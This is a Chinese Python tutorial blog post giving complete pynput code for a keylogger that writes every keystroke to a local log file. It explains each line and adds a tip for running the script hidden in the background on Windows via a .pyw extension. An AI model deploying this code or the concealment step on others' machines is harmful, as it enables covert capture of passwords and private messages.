超级简单,在Python中7行代码创建键盘记录器

云课堂学Python 2024-04-07 00:50:04

键盘记录器用以捕获计算机键盘录入的按键。我们将使用 Python 构建一个键盘记录器。

键盘记录器完整代码from pynput.keyboard import Key, Listenerimport logginglogging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")def on_press(key): logging.info(str(key))with Listener(on_press=on_press) as listener : listener.join()

程序运行后,在当前目录中创建了一个新文件 keylog.txt。文件中记录了键盘的按键记录。示例如下:

2023-12-13 08:21:04,213 - 'a' 2023-12-13 08:21:04,400 - 'b' 2023-12-13 08:21:04,650 - 'c' 2023-12-13 08:21:06,134 - Key.enter键盘记录器代码说明

在开始之前,我们需要安装一个特定的库 pynput,pynput是 监听、操控鼠标和键盘的跨平台第三方 python 库,我们可以使用 pip 命令来完成安装:pip install pynput

from pynput.keyboard import Key, Listenerimport logging

导入所需模块。logging 日志模块可以十分灵活的帮助我们记录信息。

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

配置日志记录参数。指定将击键记录保存到 keylog.txt,指定存储格式:YY-MM-DD HH-MM-SS(ms) - KEY

def on_press(key): logging.info(str(key))

自定义的函数接受用户按下的键,并在将其转换为字符串后将其记录到文件中。

with Listener(on_press=on_press) as listener : listener.join()

创建一个 Listener 的实例,记录击键,并将自定义函数作为参数传递。使用 .join() 方法连接。每次按下一个键时,侦听器都会被触发,会调用自定义的函数,然后将击键记录到文件中。

后台运行键盘记录器

在 Windows 上,只需将文件扩展名 .py 重命名为 .pyw,然后双击该文件即可后台运行,而不会弹出 Python 终端。

我们编写了一个简短而有效的 Python 键盘记录器来记录键盘按键,目的是学习 Python,请不要将其用于恶意目的。

文章创作不易,如果您喜欢这篇文章,请关注、点赞并分享给朋友。如有意见和建议,请在评论中反馈。

0 阅读:0

云课堂学Python

简介:感谢大家的关注